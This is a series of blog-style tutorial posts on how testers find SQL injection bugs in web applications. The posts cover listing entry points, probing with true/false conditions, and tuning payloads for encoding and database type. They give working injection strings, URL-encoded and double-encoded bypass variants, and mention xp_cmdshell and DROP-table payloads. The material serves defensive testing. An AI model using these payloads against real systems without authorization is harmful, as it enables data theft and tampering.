SqlDataReader reader = sqlCommand.ExecuteReader();
updateLastLoginAttempt(user);
...
}

Even if the user passes in an arbitrary string for a username or a password, they will not be able to alter the query or otherwise effect the database. An even better solution would involve using a stored procedure instead of a parameterized command, because that would permit the database to be locked down further.


Adapted from Microsoft patterns & practices guidance.

How to Test for SQL Injection Bugs: Step 4

  
  

Below is a summary of steps needed for testing for SQL injection bugs

  • Step 1:  Understand SQL injection attack scenarios
  • Step 2:  List high risk components and entry points
  • Step 3:  Start testing and exploring
  • Step 4:  Tune of test data

Step 4: Tune test cases data

SQL InjectionAt this point you have started executing an exploratory pass through the input variables.  During step 4 you need to concentrate on covering all entry points of each variable in your variable table.

Learn type database version

Different database applications and versions process queries differently.  For example SQL Server uses + to concatenate strings in a statement while Oracle uses ||.   SQL Server allows execution of batched or multiple SQL commands within a statement as long as they are separated with a semicolon (;) while Oracle and MySQL forbids this.  You can gather database brand and versions by scanning network ports at the server, sniffing network traffic, or looking at SQL related error messages.

Consider string format and encoding according to entry point

As you walk through the risky variables and entry points take into account the different formats that apply to each entry point.  For example, this article described passing the following string to a web form:

xyz' OR 1=1 --

However, you can't pass a string like the one above in a URL since the URL doesn't allow blank spaces.  Server applications use different encoding functions to transmit URL contents.  They encode data and then decode it at the server end.  The encoding and decoding depends on the server's programming language.  For example, sometimes the encoding function replaces the blank spaces with a plus (+) sign so the string above looks like this:

xyz'+OR+1=1+--

In other encoding case, the server might replace the blank space with a %20.  In that case, the test string will need to look like this:

xyz'%20OR%201=1%20--

This common encoding scheme consists of replacing spaces with their hexadecimal values %HH.  In addition, it is recommended to also encode reserved characters such as the single quote.  The encoded string will then look like this:

xyz%27+OR+1%3D1+--

The Java URL encode function translates special characters using a string like this one %uXXXX where XXXX is the character´s Unicode value represented as four digits.  The above string will look like this one:

xyz%u2019+OR+1%3D1+--

There are different types of encoding mechanisms.  It is important that you do a quick source review to see what encoding functions are used and then at the documentation available for the specific functions. To learn more, see "Percent Encoding".

Note:  Try to use double encoding

It is important to attempt to execute double encoding cases.   Double encoding is a specific encoding aimed at bypassing security controls.  It consists of replacing the percent character by its hexadecimal value (25).  If you are testing using single encoding like this:

xyz%27+OR+1%3D1+--

Then try the following string for double encoding:

xyz%2527+OR+1%253D1+--

Try different syntax

SQL injection testing aims at changing the logic of the original SQL statement by adding additional ones.  But for the additional statements to execute, the attacked query has to remain syntactically correct or else it will fail to execute.  Consider different variants of test input to deal with the closing of quotes and parenthesis.  Here are a few variations to try:

  • x' or 1=1 --
  • x' or 'a'='a
  • x" or 1=1 #
  • x%' or 1=1 --    

Consider the different ways of getting test results

There are different channels to retrieve SQL injection data:

  • In band - When the attacked server returns the data to the attacker using an existing channel such as a rendered table in a web page, or by logging on the user to a restricted page
  • Out of band - When the attacker opens a new connection to get data from the server such as when installing a Trojan in the server, using an extended stored procedure such as xp_cmdshell to open a remote connection, or using MS SQL's OPENROWSET() to connect directly to the database.
  • Inferred - When the attacked server doesn't send any data to the attacker and the attacker needs to execute his attack using alternate queries and observing error codes.

Cover the different methods of retrieving data from the server during this step.   

Execute different payloads

Sometimes executing a simple true or false condition will not generate visible results.  This is the main reasons why you need to try different payloads.  There are hundreds of possible payloads to execute in a SQL injection attack.  Most of these payloads vary between SQL server applications and can be found in the web.  Just to get an idea of how different payloads can be, let's picture the case of trying to steal information from a database.  The payload can vary between:

Tampering also has different scenarios:

  • An additional DROP statement to drop a table from a database
  • An additional INSERT statement to add a record to a table
  • An additional UPDATE statement to replace existing data in a table

You need to try different payloads.   We recommend listing all the payloads that can be executed against the database under test.   Then to execute each payload with the syntactic variations previously mentioned.  By doing this, you will expand their SQL injection test cases to get maximum testing coverage.

Nevertheless, keep in mind that it is also important not to overdo payload testing.  If you realize that a specific variable-entry point is not susceptible to SQL injection (it might be parameterized or escaped of its command characters) then move on to the next variable and not spend unnecessary time testing numerous payloads. 

NOTE:  Use proper test monitors or indicators

When testing injection, especially out of bands that opens a separate channel to send data back, make sure to have in indicator that waits for the test to pass or fail.  If the payload opens a backdoor then connect to the backdoor.   If the payload copies a database to a remote database then have that server set up and ready to receive the stolen data.   Having proper indicators and monitors in place is the only way to find out the results of all test cases.

Learn database structure and use to tune test cases

In almost all information disclosure and tampering scenarios, the attacker will need to know table and column names.   One way to successfully discover database details is to use error messages smartly.   Another way to discover database structure such as table names and columns is to brute force table names or column names and look for valid ones.  Finally, you can discover details about the database using inference techniques.

Conclusions

Good SQL Injection testing relies on proper coverage of all SQL related input variables through their different entry points.  Start by understanding attack scenarios and doing a comprehensive analysis of the application's SQL related input variables, query construction, and entry points.  Then try basic tests, tune the test data based on different entry points, and look carefully how the application reacts.   Finally, tune your data using the appropriate payloads and keep tuning test case data with learned or inferred database structure.

How to Test for SQL Injection Bugs - Step 3

  
  

SQL InjectionSQL Injection is a common type of web database related vulnerability.   SQL injection is common to web site applications that interact with a database backend.  These sites construct SQL commands or queries based on user input.  For example they might search a product database based on a description a user typed in a web form.  An application is vulnerable to SQL injection when it builds SQL queries without filtering the user's input, without using store procedure, or without binding parameters variables.  This can lead to an attacker adding additional clauses, conditions, or even commands that execute along the original query.    Attackers can use SQL Injection bugs to execute different types of attacks such as data theft and tampering, authentication bypass, information disclosure, and elevation of privileges.

Below is a summary of steps needed for testing for SQL injection bugs

  • Step 1:  Understand SQL injection attack scenarios
  • Step 2:  List high risk components and entry points
  • Step 3:  Start testing and exploring
  • Step 4:  Tune of test data

Step 3: Start Testing and Exploring

The following step is to start supplying input to the application that gives hints of possible SQL injection bugs.  With the list made during step 2, you can systematically walk through all variables and start exploring how the test input is handled.  In this step, we recommend to execute a first pass using fuzz strings and basic conditions.

Start with a simple fuzz string

The first recommended test is to add some string and a single quote or parenthesis at the end of it.  In most SQL Injection cases this kind of string will generate a server side error that will be displayed back in the client's browser:

xyz') "]

Then see how the server reacts to it.  In some cases it will strip out the special characters: this is a sign that it protects against injection.  However, in other cases the application may return a SQL related error messages because a special character such as the single quote unexpectedly closed a statement.  It then can be deduced that the statement was being built dynamically.  This is a clear indication that you need to keep looking to see whether a SQL injection bug actually exists.

Continue with simple true and false conditions

The next step is to try to add a simple SQL statement.  The simplest you can try is an integer comparison such as 1=1 or 2>1 or a character comparison such as 'a'='a' proceeded by an OR.  For instance:

xyz' OR 1=1 --

 Then observe the results.  Look for any indication that the o injected true statement returned all rows of a table.  Then try a false statement and look at the difference.

xyz' OR 1>2 --

If the results are visibly different in quantity or in server behavior, then the possibility for a SQL injection bugs is high.  Even if no information about the database structure or no other serious attack is possible, you can determine SQL injection by observing basic server and error messages. 

Consider the following scenario.  The string "xyz' OR 1=1" -is submitted and the server returns a 500 error that says:

 "Results Buffer too Large" and when "xyz' OR 1>2 -" 

is submitted the server returns a valid page saying that there were no matches.  So when the condition is true the server chokes with results.  When it's false it returns no results.  In this case, the processing of the injected condition is evident and means that there is a SQL injection bug.  It might not be exploitable but it exists and this simple difference in server behavior is enough to prove that it does.

NOTE: Be careful with valid numerical results

Make sure that when using numerical comparisons the results are different because of the comparison and not because of the content.  For example, if when using 1=1 the server returns phone numbers with "11" and when 1>2 returns "21" numbers or matches then it means that is not processing the actual comparison.  The results are different because the application is querying over the numbers 1 and 2.  The server is not executing the extra conditions as separate statements; it is correctly including them as part of the data to search, and there is no evidence of a SQL injection vulnerability.  You need to be careful about this scenario and realize when the extra condition is actually being executed separately or not.

How to Test for SQL Injection Bugs - Step 2

  
  

Test SQL InjectionSQL Injection is a common type of web database related vulnerability.   SQL injection is common to web site applications that interact with a database backend.  These sites construct SQL commands or queries based on user input.  For example they might search a product database based on a description a user typed in a web form.  An application is vulnerable to SQL injection when it builds SQL queries without filtering the user's input, without using store procedure, or without binding parameters variables.  This can lead to an attacker adding additional clauses, conditions, or even commands that execute along the original query. Attackers can use SQL Injection bugs to execute different types of attacks such as data theft and tampering, authentication bypass, information disclosure, and elevation of privileges.

Below is a summary of steps needed for testing for SQL injection bugs

  • Step 1:  Understand SQL injection attack scenarios
  • Step 2:  List high risk components and entry points
  • Step 3:  Start testing and exploring
  • Step 4:  Tune of test data
Step 2: List High Risk Components and Entry Points

The next step for SQL Injection testing is to list all the places where code builds SQL statements from user supplied input; to understand how and where our application manipulates statement and talks to a database.  The most common are:

  • Search web pages
  • Profile-related web pages
  • Authentication forms
  • E-Commerce or financial account-related pages
  • Database interaction public API's and DCOM methods
  • Database system-level clients

Identify all high risk components

After understanding the details of SQL Injection, list their high risk components in a table that includes the method that hosts the code, the name of the query string if available, and the variable names that influence the construction of the query 

Look at code like the one shown in the scenarios above; code where SQL statements are built using web input.  Then list all of these web pages as high risk components.

Match High Risk Components with Entry Points

After listing all areas in the application where SQL statements are built at run-time, you  must identify the ways in which data gets to these places.  For example, you listed a web page named "search.asp" above that constructs SQL statements dangerously.  Here you list how this page gets its input; what are its entry points.  Keep in mind that entry points can be both intended (expected by the program or application) and unintended (unexpected by program or application).  A common list of entry points for SQL injection high risk components include:

  • URL bar contents
  • Web form input values
  • Web service methods
  • Network packets
  • Public API's
  • DCOM methods
  • Application UI text fields
  • Inter Process Communication pipe

The first three are the most common entry points for web services and application.  Nonetheless, always look for new entry points additional entry points not listed here.  Make sure that the data manipulated by the component at risk is not passed by any other means.

Ideally by the end of step 2 you will have a table like the one shown above to systematically guide test execution.

All Posts